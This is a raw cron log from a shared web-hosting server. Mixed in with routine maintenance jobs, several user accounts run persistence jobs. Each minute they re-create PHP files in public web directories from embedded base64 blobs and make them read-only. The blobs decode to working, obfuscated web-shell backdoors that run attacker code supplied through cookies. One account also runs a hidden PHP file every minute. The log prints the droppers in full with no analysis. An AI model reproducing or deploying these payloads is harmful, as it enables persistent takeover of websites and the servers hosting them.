Apr 19 06:24:01 medusa CROND[24720]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:24:01 medusa CROND[24723]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:24:01 medusa CROND[24725]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:24:01 medusa CROND[24733]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:24:01 medusa CROND[24740]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:24:01 medusa CROND[24741]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:25:01 medusa CROND[15772]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 06:25:01 medusa CROND[15853]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 06:25:01 medusa CROND[15856]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 06:25:01 medusa CROND[15858]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 19 06:25:01 medusa CROND[15857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:25:01 medusa CROND[15862]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 06:25:01 medusa CROND[15861]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 06:25:01 medusa CROND[15863]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:25:01 medusa CROND[15859]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 06:25:01 medusa CROND[15867]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 06:25:01 medusa CROND[15869]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:25:01 medusa CROND[15868]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 06:25:01 medusa CROND[15874]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:25:01 medusa CROND[15866]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:25:01 medusa CROND[15872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:25:01 medusa CROND[15876]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 06:25:01 medusa CROND[15877]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:25:01 medusa CROND[15880]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:25:01 medusa CROND[15885]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:25:01 medusa CROND[15887]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:25:01 medusa CROND[15889]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:25:01 medusa CROND[15884]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 06:25:01 medusa CROND[15898]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 06:26:02 medusa CROND[8123]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:26:02 medusa CROND[8124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:26:02 medusa CROND[8128]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 06:26:02 medusa CROND[8129]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 06:26:02 medusa CROND[8130]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:26:02 medusa CROND[8131]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:26:02 medusa CROND[8136]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:26:02 medusa CROND[8138]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
